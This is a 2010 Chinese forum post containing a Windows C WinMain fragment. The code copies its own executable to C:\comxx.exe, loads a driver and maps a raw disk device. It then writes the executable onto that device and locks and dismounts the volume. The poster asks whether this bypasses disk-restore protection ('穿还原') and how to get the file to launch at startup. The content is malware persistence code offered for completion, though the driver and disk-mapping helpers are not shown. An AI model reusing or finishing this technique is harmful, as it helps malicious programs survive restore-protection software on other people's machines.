|
发表于 2010-10-24 20:17:52
|
显示全部楼层
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
CHAR szmyname[MAX_PATH];
_tcsncpy(g_MyDriverName,_T("zzyyzz"),MAX_PATH);
_hInstance = GetModuleHandle(NULL);
m_hDevice = INVALID_HANDLE_VALUE;
m_init = FALSE;
GetModuleFileName(NULL,szmyname,MAX_PATH);
CopyFile(szmyname,"C:\\comxx.exe",FALSE);
loaddriver();
if(MapDisk())
{
OutputDebugStringA("ok");
HANDLE m_xxx;
DWORD dwRet;
if(CopyFile("C:\\comxx.exe","\\\\.\\yyy2\\comxx.exe",FALSE))
OutputDebugStringA("okok");
else
OutputDebugStringA("fuck");
m_xxx = CreateFile(
"\\\\.\\yyy2",
GENERIC_READ|GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
FlushFileBuffers(m_xxx);
if(DeviceIoControl(m_xxx,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&dwRet,0))
{
if(DeviceIoControl(m_xxx,FSCTL_DISMOUNT_VOLUME,NULL,0,NULL,0,&dwRet,0))
{
DeviceIoControl(m_xxx,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&dwRet,0);
}
}
//DeviceIoControl(m_xxx,IOCTL_CLOSE_DISK,NULL,0,NULL,0,&dwRet,0);
CloseHandle(m_xxx);
}
else
{
OutputDebugStringA("failed");
}
return 0;
}
这段是不是将"C:\\comxx.exe"穿还原的意思?
那要怎么样才可以实现启动呢? |
|